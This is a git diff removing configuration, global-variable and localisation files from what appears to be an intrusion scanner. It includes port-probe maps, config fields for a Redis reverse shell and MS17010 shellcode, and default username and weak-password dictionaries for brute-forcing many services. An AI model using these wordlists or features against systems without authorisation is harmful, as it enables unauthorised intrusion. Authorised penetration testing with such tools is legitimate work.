-func NewServiceDictionary() *ServiceDictionary {
- return &ServiceDictionary{
- userDict: getDefaultUserDict(),
- passwords: getDefaultPasswords(),
- initialized: true,
- }
-}
-
-// getDefaultUserDict 获取默认用户字典
-func getDefaultUserDict() map[string][]string {
- // 返回常量的深拷贝
- result := make(map[string][]string)
- for service, users := range DefaultUserDict {
- usersCopy := make([]string, len(users))
- copy(usersCopy, users)
- result[service] = usersCopy
- }
- return result
-}
-
-// getDefaultPasswords 获取默认密码字典
-func getDefaultPasswords() []string {
- // 返回常量的副本
- result := make([]string, len(DefaultPasswords))
- copy(result, DefaultPasswords)
- return result
-}
-
-// GetAllUserDicts 获取所有服务的用户字典
-func (sd *ServiceDictionary) GetAllUserDicts() map[string][]string {
- sd.mu.RLock()
- defer sd.mu.RUnlock()
-
- result := make(map[string][]string)
- for service, users := range sd.userDict {
- usersCopy := make([]string, len(users))
- copy(usersCopy, users)
- result[service] = usersCopy
- }
- return result
-}
-
-// GetPasswords 获取默认密码字典
-func (sd *ServiceDictionary) GetPasswords() []string {
- sd.mu.RLock()
- defer sd.mu.RUnlock()
-
- // 返回副本,避免外部修改
- result := make([]string, len(sd.passwords))
- copy(result, sd.passwords)
- return result
-}
-
-
-// 全局服务字典实例
-var (
- globalServiceDict *ServiceDictionary
- serviceDictOnce sync.Once
-)
-
-// GetGlobalServiceDict 获取全局服务字典实例
-func GetGlobalServiceDict() *ServiceDictionary {
- serviceDictOnce.Do(func() {
- globalServiceDict = NewServiceDictionary()
- })
- return globalServiceDict
-}
\ No newline at end of file
diff --git a/Common/config/Types.go b/Common/config/Types.go
deleted file mode 100644
index 8326802..0000000
--- a/Common/config/Types.go
+++ /dev/null
@@ -1,150 +0,0 @@
-package config
-
-import (
- "sync"
- "time"
-
- "github.com/schollz/progressbar/v3"
-)
-
-// Version 版本信息
-type Version struct {
- Major int `json:"major"`
- Minor int `json:"minor"`
- Patch int `json:"patch"`
- Full string `json:"full"`
-}
-
-// ApplicationConfig 应用程序配置
-type ApplicationConfig struct {
- Version Version `json:"version"`
- ProgressBar *progressbar.ProgressBar `json:"-"`
- OutputMutex sync.Mutex `json:"-"`
-}
-
-// ScanTargetConfig 扫描目标配置
-type ScanTargetConfig struct {
- Ports string `json:"ports"` // 要扫描的端口列表
- ExcludePorts string `json:"exclude_ports"` // 要排除的端口列表
- ExcludeHosts string `json:"exclude_hosts"` // 要排除的主机列表
- AddPorts string `json:"add_ports"` // 额外添加的端口列表
- HostPort []string `json:"host_port"` // 主机:端口格式的目标列表
-}
-
-// CredentialConfig 认证凭据配置
-type CredentialConfig struct {
- Username string `json:"username"` // 用于认证的用户名
- Password string `json:"password"` // 用于认证的密码
- AddUsers string `json:"add_users"` // 额外添加的用户名列表
- AddPasswords string `json:"add_passwords"` // 额外添加的密码列表
- Domain string `json:"domain"` // Active Directory/SMB域名
- HashValue string `json:"hash_value"` // 用于哈希认证的单个哈希值
- HashValues []string `json:"hash_values"` // 哈希值列表
- HashBytes [][]byte `json:"-"` // 二进制格式的哈希值列表
- HashFile string `json:"hash_file"` // 包含哈希值的文件路径
- SshKeyPath string `json:"ssh_key_path"` // SSH私钥文件路径
-}
-
-// ScanControlConfig 扫描控制配置
-type ScanControlConfig struct {
- ScanMode string `json:"scan_mode"` // 扫描模式或指定的插件列表
- ThreadNum int `json:"thread_num"` // 并发扫描线程数
- ModuleThreadNum int `json:"module_thread_num"` // 模块内部线程数
- Timeout int64 `json:"timeout"` // 单个扫描操作超时时间(秒)
- GlobalTimeout int64 `json:"global_timeout"` // 整体扫描超时时间(秒)
- // LiveTop 已移除,改为智能控制
- DisablePing bool `json:"disable_ping"` // 是否禁用主机存活性检测
- EnableFingerprint bool `json:"enable_fingerprint"` // 是否启用服务指纹识别
- LocalMode bool `json:"local_mode"` // 是否启用本地信息收集模式
-}
-
-// InputFileConfig 输入文件配置
-type InputFileConfig struct {
- HostsFile string `json:"hosts_file"` // 包含目标主机的文件路径
- UsersFile string `json:"users_file"` // 包含用户名列表的文件路径
- PasswordsFile string `json:"passwords_file"` // 包含密码列表的文件路径
- PortsFile string `json:"ports_file"` // 包含端口列表的文件路径
-}
-
-// WebScanConfig Web扫描配置
-type WebScanConfig struct {
- TargetURL string `json:"target_url"` // 单个目标URL
- URLsFile string `json:"urls_file"` // 包含URL列表的文件路径
- URLs []string `json:"urls"` // 解析后的URL目标列表
- WebTimeout int64 `json:"web_timeout"` // Web请求超时时间(秒)
- HttpProxy string `json:"http_proxy"` // HTTP代理地址
- Socks5Proxy string `json:"socks5_proxy"` // SOCKS5代理地址
-}
-
-// VulnExploitConfig POC与漏洞利用配置
-type VulnExploitConfig struct {
- // POC配置
- PocPath string `json:"poc_path"` // POC脚本路径
- PocInfo PocInfo `json:"poc_info"` // POC详细信息结构
- DisablePocScan bool `json:"disable_poc_scan"` // 是否禁用POC扫描
-
- // Redis利用
- RedisFile string `json:"redis_file"` // Redis利用目标文件
- RedisShell string `json:"redis_shell"` // Redis反弹Shell命令
- RedisWritePath string `json:"redis_write_path"` // Redis文件写入路径
- RedisWriteContent string `json:"redis_write_content"` // Redis文件写入内容
- RedisWriteFile string `json:"redis_write_file"` // Redis写入的源文件
-
- // 其他漏洞利用
- Shellcode string `json:"shellcode"` // 用于MS17010等漏洞利用的Shellcode
-}
-
-// BruteForceConfig 暴力破解控制配置
-type BruteForceConfig struct {
- DisableBrute bool `json:"disable_brute"` // 是否禁用暴力破解模块
- MaxRetries int `json:"max_retries"` // 连接失败最大重试次数
-}
-
-// DisplayConfig 输出与显示配置
-type DisplayConfig struct {
- DisableSave bool `json:"disable_save"` // 是否禁止保存扫描结果
- Silent bool `json:"silent"` // 是否启用静默模式
- NoColor bool `json:"no_color"` // 是否禁用彩色输出
- LogLevel string `json:"log_level"` // 日志输出级别
- DisableProgress bool `json:"disable_progress"` // 是否禁用进度条
- Language string `json:"language"` // 界面语言设置
-}
-
-// OutputConfig 输出配置
-type OutputConfig struct {
- Outputfile string `json:"output_file"` // 输出文件路径
- OutputFormat string `json:"output_format"` // 输出格式
-}
-
-// NetworkConfig 网络配置
-type NetworkConfig struct {
- UserAgent string `json:"user_agent"` // 用户代理字符串
- Accept string `json:"accept"` // Accept头部
- DnsLog bool `json:"dns_log"` // 是否启用DNS日志
- PocNum int `json:"poc_num"` // POC并发数
- PocFull bool `json:"poc_full"` // 是否启用完整POC扫描
- Cookie string `json:"cookie"` // Cookie字符串
-}
-
-// PocInfo POC详细信息结构
-type PocInfo struct {
- Target string `json:"target"`
- PocName string `json:"poc_name"`
-}
-
-// Config 完整的配置结构
-type Config struct {
- Application *ApplicationConfig `json:"application"`
- ScanTarget *ScanTargetConfig `json:"scan_target"`
- Credential *CredentialConfig `json:"credential"`
- ScanControl *ScanControlConfig `json:"scan_control"`
- InputFile *InputFileConfig `json:"input_file"`
- WebScan *WebScanConfig `json:"web_scan"`
- VulnExploit *VulnExploitConfig `json:"vuln_exploit"`
- BruteForce *BruteForceConfig `json:"brute_force"`
- Display *DisplayConfig `json:"display"`
- Output *OutputConfig `json:"output"`
- Network *NetworkConfig `json:"network"`
- LastUpdated time.Time `json:"last_updated"`
-}
-
diff --git a/Common/config/constants.go b/Common/config/constants.go
deleted file mode 100644
index 7517fbe..0000000
--- a/Common/config/constants.go
+++ /dev/null
@@ -1,192 +0,0 @@
-package config
-
-// 默认探测器列表
-var DefaultProbeMap = []string{
- "GenericLines",
- "GetRequest",
- "TLSSessionReq",
- "SSLSessionReq",
- "ms-sql-s",
- "JavaRMI",
- "LDAPSearchReq",
- "LDAPBindReq",
- "oracle-tns",
- "Socks5",
-}
-
-// 默认端口映射关系
-var DefaultPortMap = map[int][]string{
- 1: {"GetRequest", "Help"},
- 7: {"Help"},
- 21: {"GenericLines", "Help"},
- 23: {"GenericLines", "tn3270"},
- 25: {"Hello", "Help"},
- 35: {"GenericLines"},
- 42: {"SMBProgNeg"},
- 43: {"GenericLines"},
- 53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
- 70: {"GetRequest"},
- 79: {"GenericLines", "GetRequest", "Help"},
- 80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
- 81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
- 82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
- 98: {"GenericLines"},
- 110: {"GenericLines"},
- 111: {"RPCCheck"},
- 113: {"GenericLines", "GetRequest", "Help"},
- 119: {"GenericLines", "Help"},
- 130: {"NotesRPC"},
- 135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
- 139: {"GetRequest", "SMBProgNeg"},
- 143: {"GetRequest"},
- 175: {"NJE"},
- 199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
- 214: {"GenericLines"},
- 264: {"GenericLines"},
- 311: {"LDAPSearchReq"},
- 340: {"GenericLines"},
- 389: {"LDAPSearchReq", "LDAPBindReq"},
- 443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
- 444: {"GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
- 445: {"SMBProgNeg"},
- 465: {"Hello", "Help", "GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie"},
- 502: {"GenericLines"},
- 503: {"GenericLines"},
- 513: {"GenericLines"},
- 514: {"GenericLines"},
- 515: {"LPDString"},
- 544: {"GenericLines"},
- 548: {"afp"},
- 554: {"GetRequest"},
- 563: {"GenericLines"},
- 587: {"Hello", "Help"},
- 631: {"GetRequest", "HTTPOptions"},
- 636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
- 646: {"LDAPSearchReq", "RPCCheck"},
- 691: {"GenericLines"},
- 873: {"GenericLines"},
- 898: {"GetRequest"},
- 993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
- 995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
- 1080: {"GenericLines", "Socks5", "Socks4"},
- 1099: {"JavaRMI"},
- 1234: {"SqueezeCenter_CLI"},
- 1311: {"GenericLines"},
- 1352: {"oracle-tns"},
- 1414: {"ibm-mqseries"},
- 1433: {"ms-sql-s"},
- 1521: {"oracle-tns"},
- 1723: {"GenericLines"},
- 1883: {"mqtt"},
- 1911: {"oracle-tns"},
- 2000: {"GenericLines", "oracle-tns"},
- 2049: {"RPCCheck"},
- 2121: {"GenericLines", "Help"},
- 2181: {"GenericLines"},
- 2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
- 2375: {"docker", "GetRequest", "HTTPOptions"},
- 2376: {"docker", "GetRequest", "HTTPOptions", "SSLSessionReq"},
- 2484: {"oracle-tns"},
- 2628: {"dominoconsole"},
- 3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 3268: {"LDAPSearchReq", "LDAPBindReq"},
- 3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
- 3306: {"GenericLines", "GetRequest", "HTTPOptions"},
- 3389: {"TerminalServerCookie", "TerminalServer"},
- 3690: {"GenericLines"},
- 4000: {"GenericLines"},
- 4369: {"epmd"},
- 4444: {"GenericLines"},
- 4840: {"GenericLines"},
- 5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 5050: {"GenericLines"},
- 5060: {"SIPOptions"},
- 5222: {"GenericLines"},
- 5432: {"GenericLines"},
- 5555: {"GenericLines"},
- 5560: {"GenericLines", "oracle-tns"},
- 5631: {"GenericLines", "PCWorkstation"},
- 5672: {"GenericLines"},
- 5984: {"GetRequest", "HTTPOptions"},
- 6000: {"X11Probe"},
- 6379: {"redis-server"},
- 6432: {"GenericLines"},
- 6667: {"GenericLines"},
- 7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
- 7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
- 7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
- 7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 7443: {"GetRequest", "HTTPOptions", "SSLSessionReq"},
- 7777: {"GenericLines", "oracle-tns"},
- 8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
- 8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
- 8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 8443: {"GetRequest", "HTTPOptions", "SSLSessionReq"},
- 8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
- 9042: {"GenericLines"},
- 9092: {"GenericLines", "kafka"},
- 9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
- 9300: {"GenericLines"},
- 9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
- 10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
- 10051: {"GenericLines"},
- 11211: {"Memcache"},
- 15672: {"GetRequest", "HTTPOptions"},
- 27017: {"mongodb"},
- 27018: {"mongodb"},
- 50070: {"GetRequest", "HTTPOptions"},
- 61616: {"GenericLines"},
-}
-
-// 默认服务用户字典
-var DefaultUserDict = map[string][]string{
- "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
- "mysql": {"root", "mysql"},
- "mssql": {"sa", "sql"},
- "smb": {"administrator", "admin", "guest"},
- "rdp": {"administrator", "admin", "guest"},
- "postgresql": {"postgres", "admin"},
- "ssh": {"root", "admin"},
- "mongodb": {"root", "admin"},
- "oracle": {"sys", "system", "admin", "test", "web", "orcl"},
- "telnet": {"root", "admin", "test"},
- "elastic": {"elastic", "admin", "kibana"},
- "rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
- "kafka": {"admin", "kafka", "root", "test"},
- "activemq": {"admin", "root", "activemq", "system", "user"},
- "ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
- "smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
- "imap": {"admin", "mail", "postmaster", "root", "user", "test"},
- "pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
- "zabbix": {"Admin", "admin", "guest", "user"},
- "rsync": {"rsync", "root", "admin", "backup"},
- "cassandra": {"cassandra", "admin", "root", "system"},
- "neo4j": {"neo4j", "admin", "root", "test"},
-}
-
-// 默认密码字典
-var DefaultPasswords = []string{
- "123456", "admin", "admin123", "root", "", "pass123", "pass@123",
- "password", "Password", "P@ssword123", "123123", "654321", "111111",
- "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
- "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
- "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
- "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
- "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
- "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
- "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
- "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
- "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
- "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
- "1q2w3e", "Charge123", "Aa123456789", "elastic123",
-}
diff --git a/Common/globals.go b/Common/globals.go
deleted file mode 100644
index 4a9bcd8..0000000
--- a/Common/globals.go
+++ /dev/null
@@ -1,196 +0,0 @@
-package common
-
-import (
- "sync"
- "time"
-
- "github.com/schollz/progressbar/v3"
- "github.com/shadow1ng/fscan/common/base"
- "github.com/shadow1ng/fscan/common/logging"
-)
-
-/*
-globals.go - 全局变量定义
-
-使用线程安全的配置管理,消除双向同步机制,直接使用core包作为唯一数据源。
-保持向后兼容的同时提供并发安全的访问。
-*/
-
-// =============================================================================
-// 版本信息
-// =============================================================================
-
-var version = "2.2.1"
-
-// =============================================================================
-// 简化的全局状态管理(仅保留必要的同步机制)
-// =============================================================================
-
-// globalState已简化,因为大部分管理函数未被使用
-// 保留基本的时间记录用于向后兼容
-var startTimeInit = time.Now()
-
-// =============================================================================
-// 核心扫描配置 - 直接使用core包变量(单一数据源)
-// =============================================================================
-
-var (
- ScanMode string // 直接映射到base.ScanMode
- ThreadNum int // 直接映射到base.ThreadNum
- Timeout int64 // 直接映射到base.Timeout
- DisablePing bool // 直接映射到base.DisablePing
- LocalMode bool // 直接映射到base.LocalMode
- LocalPlugin string // 本地插件选择
- AliveOnly bool // 仅存活探测模式
-)
-
-// =============================================================================
-// 基础认证配置 - 直接使用core包变量
-// =============================================================================
-
-var (
- Username string // 直接映射到base.Username
- Password string // 直接映射到base.Password
- Userdict map[string][]string // 直接映射到base.Userdict
- Passwords []string // 直接映射到base.Passwords
-)
-
-// =============================================================================
-// 网络配置 - 直接使用core包变量
-// =============================================================================
-
-var (
- HttpProxy string // 直接映射到base.HttpProxy
- Socks5Proxy string // 直接映射到base.Socks5Proxy
-)
-
-// =============================================================================
-// 显示控制 - 直接使用core包变量
-// =============================================================================
-
-var (
- NoColor bool // 直接映射到base.NoColor
- Language string // 直接映射到base.Language
- LogLevel string // 直接映射到base.LogLevel
-
- // 进度条控制
- ShowProgress bool // 计算得出:!DisableProgress
-)
-
-// =============================================================================
-// 端口映射 - 直接使用core包变量
-// =============================================================================
-
-var (
- PortMap map[int][]string // 直接映射到base.PortMap
- DefaultMap []string // 直接映射到base.DefaultMap
-)
-
-// =============================================================================
-// 线程安全的输出状态管理(已移除未使用的函数)
-// =============================================================================
-
-// 注意:GetOutputfile, SetOutputfile, GetOutputFormat, SetOutputFormat,
-// GetProgressBar, SetProgressBar, GetStats, SetStats, IncrementNum等函数
-// 已根据死代码分析移除,因为它们在代码库中没有被使用。
-// 如有需要,可以通过直接访问向后兼容的全局变量实现相同功能。
-
-// =============================================================================
-// 核心配置同步(线程安全)
-// =============================================================================
-
-// SyncFromCore 从core包同步配置到common包(读操作)
-func SyncFromCore() {
- ScanMode = base.ScanMode
- ThreadNum = base.ThreadNum
- Timeout = base.Timeout
- DisablePing = base.DisablePing
- LocalMode = base.LocalMode
- LocalPlugin = base.LocalPlugin
-
- Username = base.Username
- Password = base.Password
- Userdict = base.Userdict
- Passwords = base.Passwords
-
- HttpProxy = base.HttpProxy
- Socks5Proxy = base.Socks5Proxy
-
- NoColor = base.NoColor
- Language = base.Language
- LogLevel = base.LogLevel
-
- PortMap = base.PortMap
- DefaultMap = base.DefaultMap
-}
-
-// SyncToCore 同步common包配置到core包(写操作)
-func SyncToCore() {
- base.ScanMode = ScanMode
- base.ThreadNum = ThreadNum
- base.Timeout = Timeout
- base.DisablePing = DisablePing
- base.LocalMode = LocalMode
- base.LocalPlugin = LocalPlugin
-
- base.Username = Username
- base.Password = Password
- base.Userdict = Userdict
- base.Passwords = Passwords
-
- base.HttpProxy = HttpProxy
- base.Socks5Proxy = Socks5Proxy
-
- base.NoColor = NoColor
- base.Language = Language
- base.LogLevel = LogLevel
-
- base.PortMap = PortMap
- base.DefaultMap = DefaultMap
-}
-
-// =============================================================================
-// 向后兼容的全局变量
-// =============================================================================
-
-var (
- // 输出配置(向后兼容)
- Outputfile string
- OutputFormat string
- ProgressBar *progressbar.ProgressBar
- OutputMutex sync.Mutex
-
- // 统计信息(向后兼容)
- Num, End int64
- StartTime = time.Now()
-)
-
-// =============================================================================
-// 日志级别常量
-// =============================================================================
-
-const (
- LogLevelAll = string(logging.LevelAll)
- LogLevelError = string(logging.LevelError)
- LogLevelBase = string(logging.LevelBase)
- LogLevelInfo = string(logging.LevelInfo)
- LogLevelSuccess = string(logging.LevelSuccess)
- LogLevelDebug = string(logging.LevelDebug)
- LogLevelInfoSuccess = string(logging.LevelInfoSuccess)
- LogLevelBaseInfoSuccess = string(logging.LevelBaseInfoSuccess)
-)
-
-// =============================================================================
-// 初始化
-// =============================================================================
-
-func init() {
- // 初始化core包配置
- base.InitGlobalConfig()
-
- // 从core包同步初始配置
- SyncFromCore()
-
- // 初始化向后兼容的时间变量
- StartTime = startTimeInit
-}
\ No newline at end of file
diff --git a/Common/hostinfo_ext.go b/Common/hostinfo_ext.go
deleted file mode 100644
index e41b78e..0000000
--- a/Common/hostinfo_ext.go
+++ /dev/null
@@ -1,58 +0,0 @@
-package common
-
-import (
- "fmt"
- "strconv"
-)
-
-// HostInfoHelper 提供HostInfo的辅助方法
-// 使用函数而不是方法,保持向后兼容
-
-
-// GetPort 获取端口号(转换为整数)
-func GetPort(h *HostInfo) (int, error) {
- if h.Ports == "" {
- return 0, fmt.Errorf("端口未设置")
- }
- return strconv.Atoi(h.Ports)
-}
-
-
-// IsWebTarget 判断是否为Web目标
-func IsWebTarget(h *HostInfo) bool {
- return h.Url != ""
-}
-
-// HasPort 检查是否设置了端口
-func HasPort(h *HostInfo) bool {
- return h.Ports != ""
-}
-
-// ValidateHostInfo 验证HostInfo的有效性
-func ValidateHostInfo(h *HostInfo) error {
- if h.Host == "" && h.Url == "" {
- return fmt.Errorf("主机地址或URL必须至少指定一个")
- }
-
- // 验证端口格式(如果指定了)
- if h.Ports != "" {
- if _, err := GetPort(h); err != nil {
- return fmt.Errorf("端口格式无效: %v", err)
- }
- }
-
- return nil
-}
-
-// HostInfoString 返回HostInfo的字符串表示
-func HostInfoString(h *HostInfo) string {
- if IsWebTarget(h) {
- return h.Url
- }
-
- if HasPort(h) {
- return fmt.Sprintf("%s:%s", h.Host, h.Ports)
- }
-
- return h.Host
-}
\ No newline at end of file
diff --git a/Common/i18n/init.go b/Common/i18n/init.go
deleted file mode 100644
index 9288ce9..0000000
--- a/Common/i18n/init.go
+++ /dev/null
@@ -1,48 +0,0 @@
-package i18n
-
-import (
- "github.com/shadow1ng/fscan/common/i18n/messages"
-)
-
-/*
-init.go - 国际化模块统一初始化
-
-自动加载所有分类消息到全局管理器,
-确保所有消息在程序启动时正确注册。
-*/
-
-// init 统一初始化所有国际化消息
-func init() {
- // 按类别依次加载所有消息
- loadAllMessages()
-}
-
-// loadAllMessages 加载所有分类的消息
-func loadAllMessages() {
- // 加载核心系统消息
- AddMessages(messages.CoreMessages)
-
- // 加载解析相关消息
- AddMessages(messages.ParseMessages)
-
- // 加载配置相关消息
- AddMessages(messages.ConfigMessages)
-
- // 加载扫描相关消息
- AddMessages(messages.ScanMessages)
-
- // 加载网络相关消息
- AddMessages(messages.NetworkMessages)
-
- // 加载输出相关消息
- AddMessages(messages.OutputMessages)
-
- // 加载通用错误消息
- AddMessages(messages.ErrorMessages)
-
- // 加载命令行参数消息
- AddMessages(messages.FlagMessages)
-
- // 加载插件相关消息
- AddMessages(messages.PluginMessages)
-}
\ No newline at end of file
diff --git a/Common/i18n/manager.go b/Common/i18n/manager.go
deleted file mode 100644
index 79e3c65..0000000
--- a/Common/i18n/manager.go
+++ /dev/null
@@ -1,220 +0,0 @@
-package i18n
-
-import (
- "fmt"
- "sync"
-)
-
-/*
-manager.go - 国际化管理器
-
-提供统一的国际化文本管理,支持多语言动态切换,
-包含完整的消息库和高效的文本查询机制。
-*/
-
-// =============================================================================
-// 常量定义
-// =============================================================================
-
-// 支持的语言常量
-const (
- LangZH = "zh" // 中文
- LangEN = "en" // 英文
-)
-
-// 默认配置
-const (
- DefaultLanguage = LangZH // 默认语言
- FallbackLanguage = LangEN // 回退语言
-)
-
-// =============================================================================
-// 国际化管理器
-// =============================================================================
-
-// Manager 国际化管理器
-type Manager struct {
- mu sync.RWMutex
- currentLanguage string
- fallbackLanguage string
- messages map[string]map[string]string
- enabled bool
-}
-
-// 全局管理器实例
-var globalManager = NewManager()
-
-// NewManager 创建新的国际化管理器
-func NewManager() *Manager {
- return &Manager{
- currentLanguage: DefaultLanguage,
- fallbackLanguage: FallbackLanguage,
- messages: make(map[string]map[string]string),
- enabled: true,
- }
-}
-
-// =============================================================================
-// 基础管理方法
-// =============================================================================
-
-// SetLanguage 设置当前语言
-func (m *Manager) SetLanguage(lang string) {
- m.mu.Lock()
- defer m.mu.Unlock()
- m.currentLanguage = lang
-}
-
-// SetFallbackLanguage 设置回退语言
-func (m *Manager) SetFallbackLanguage(lang string) {
- m.mu.Lock()
- defer m.mu.Unlock()
- m.fallbackLanguage = lang
-}
-
-// Enable 启用国际化
-func (m *Manager) Enable() {
- m.mu.Lock()
- defer m.mu.Unlock()
- m.enabled = true
-}
-
-// =============================================================================================
-// 已删除的死代码函数(未使用):GetLanguage, Disable
-// =============================================================================================
-
-// IsEnabled 检查是否启用国际化
-func (m *Manager) IsEnabled() bool {
- m.mu.RLock()
- defer m.mu.RUnlock()
- return m.enabled
-}
-
-// =============================================================================
-// 消息管理方法
-// =============================================================================
-
-// AddMessages 批量添加消息
-func (m *Manager) AddMessages(messages map[string]map[string]string) {
- m.mu.Lock()
- defer m.mu.Unlock()
- for key, translations := range messages {
- m.messages[key] = translations
- }
-}
-
-// GetMessage 获取指定键和语言的消息
-func (m *Manager) GetMessage(key, lang string) (string, bool) {
- m.mu.RLock()
- defer m.mu.RUnlock()
-
- if translations, exists := m.messages[key]; exists {
- if message, exists := translations[lang]; exists {
- return message, true
- }
- }
- return "", false
-}
-
-// =============================================================================================
-// 已删除的死代码函数(未使用):
-// AddMessage, HasMessage, GetAllMessages, GetMessageCount, GetSupportedLanguages
-// =============================================================================================
-
-// =============================================================================
-// 文本获取方法
-// =============================================================================
-
-// GetText 获取国际化文本(支持格式化)
-func (m *Manager) GetText(key string, args ...interface{}) string {
- if !m.IsEnabled() {
- // 如果禁用国际化,返回原始键名
- if len(args) > 0 {
- return fmt.Sprintf(key, args...)
- }
- return key
- }
-
- m.mu.RLock()
- currentLang := m.currentLanguage
- fallbackLang := m.fallbackLanguage
- m.mu.RUnlock()
-
- // 尝试获取当前语言的消息
- if message, exists := m.GetMessage(key, currentLang); exists {
- if len(args) > 0 {
- return fmt.Sprintf(message, args...)
- }
- return message
- }
-
- // 回退到回退语言
- if currentLang != fallbackLang {
- if message, exists := m.GetMessage(key, fallbackLang); exists {
- if len(args) > 0 {
- return fmt.Sprintf(message, args...)
- }
- return message
- }
- }
-
- // 如果都没找到,返回键名作为兜底
- if len(args) > 0 {
- return fmt.Sprintf(key, args...)
- }
- return key
-}
-
-// =============================================================================================
-// 已删除的死代码函数(未使用):GetTextWithLanguage
-// =============================================================================================
-
-// =============================================================================
-// 全局访问函数
-// =============================================================================
-
-// SetLanguage 设置全局语言
-func SetLanguage(lang string) {
- globalManager.SetLanguage(lang)
-}
-
-// AddMessages 批量添加消息到全局管理器
-func AddMessages(messages map[string]map[string]string) {
- globalManager.AddMessages(messages)
-}
-
-// GetText 从全局管理器获取国际化文本
-func GetText(key string, args ...interface{}) string {
- return globalManager.GetText(key, args...)
-}
-
-// GetExploitMethodName 获取利用方法的本地化名称
-func GetExploitMethodName(methodName string) string {
- // 尝试获取本地化的方法名称
- key := fmt.Sprintf("exploit_method_name_%s", methodName)
- localizedName := globalManager.GetText(key)
-
- // 如果没有找到对应的本地化名称,返回原始名称
- if localizedName == key {
- return methodName
- }
- return localizedName
-}
-
-// =============================================================================================
-// 已删除的死代码函数(未使用):
-// GetGlobalManager, GetLanguage, AddMessage, GetTextWithLanguage,
-// Enable, Disable, IsEnabled, HasMessage, GetMessageCount, GetSupportedLanguages
-// =============================================================================================
-
-// =============================================================================
-// 初始化函数
-// =============================================================================
-
-// init 初始化全局国际化管理器
-func init() {
- // 设置默认配置
- globalManager.SetLanguage(DefaultLanguage)
- globalManager.SetFallbackLanguage(FallbackLanguage)
- globalManager.Enable()
-}
diff --git a/Common/i18n/messages/config.go b/Common/i18n/messages/config.go
deleted file mode 100644
index 05153e1..0000000
--- a/Common/i18n/messages/config.go
+++ /dev/null
@@ -1,79 +0,0 @@
-package messages
-
-/*
-config.go - 配置相关消息
-
-包含配置管理、验证、同步等相关的
-国际化消息定义。
-*/
-
-// ConfigMessages 配置相关消息
-var ConfigMessages = map[string]map[string]string{
- // ========================= 配置相关消息 =========================
- "config_sync_start": {
- LangZH: "开始同步配置",
- LangEN: "Starting configuration sync",
- },
- "config_sync_complete": {
- LangZH: "配置同步完成",
- LangEN: "Configuration sync completed",
- },
- "config_validation_start": {
- LangZH: "开始配置验证",
- LangEN: "Starting configuration validation",
- },
- "config_validation_complete": {
- LangZH: "配置验证完成",
- LangEN: "Configuration validation completed",
- },
- "config_invalid_scan_mode": {
- LangZH: "无效的扫描模式: %s",
- LangEN: "Invalid scan mode: %s",
- },
- "config_invalid_thread_num": {
- LangZH: "无效的线程数: %d",
- LangEN: "Invalid thread number: %d",
- },
- "config_invalid_timeout": {
- LangZH: "无效的超时时间: %v",
- LangEN: "Invalid timeout: %v",
- },
- "config_invalid_proxy": {
- LangZH: "无效的代理配置: %s",
- LangEN: "Invalid proxy configuration: %s",
- },
- "config_missing_required": {
- LangZH: "缺少必需的配置项: %s",
- LangEN: "Missing required configuration: %s",
- },
- "config_load_default": {
